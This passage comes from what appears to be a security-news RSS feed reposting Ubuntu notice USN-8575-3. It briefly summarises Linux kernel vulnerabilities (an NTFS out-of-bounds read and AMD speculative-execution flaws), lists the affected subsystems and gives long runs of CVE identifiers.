CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-3: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:35 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
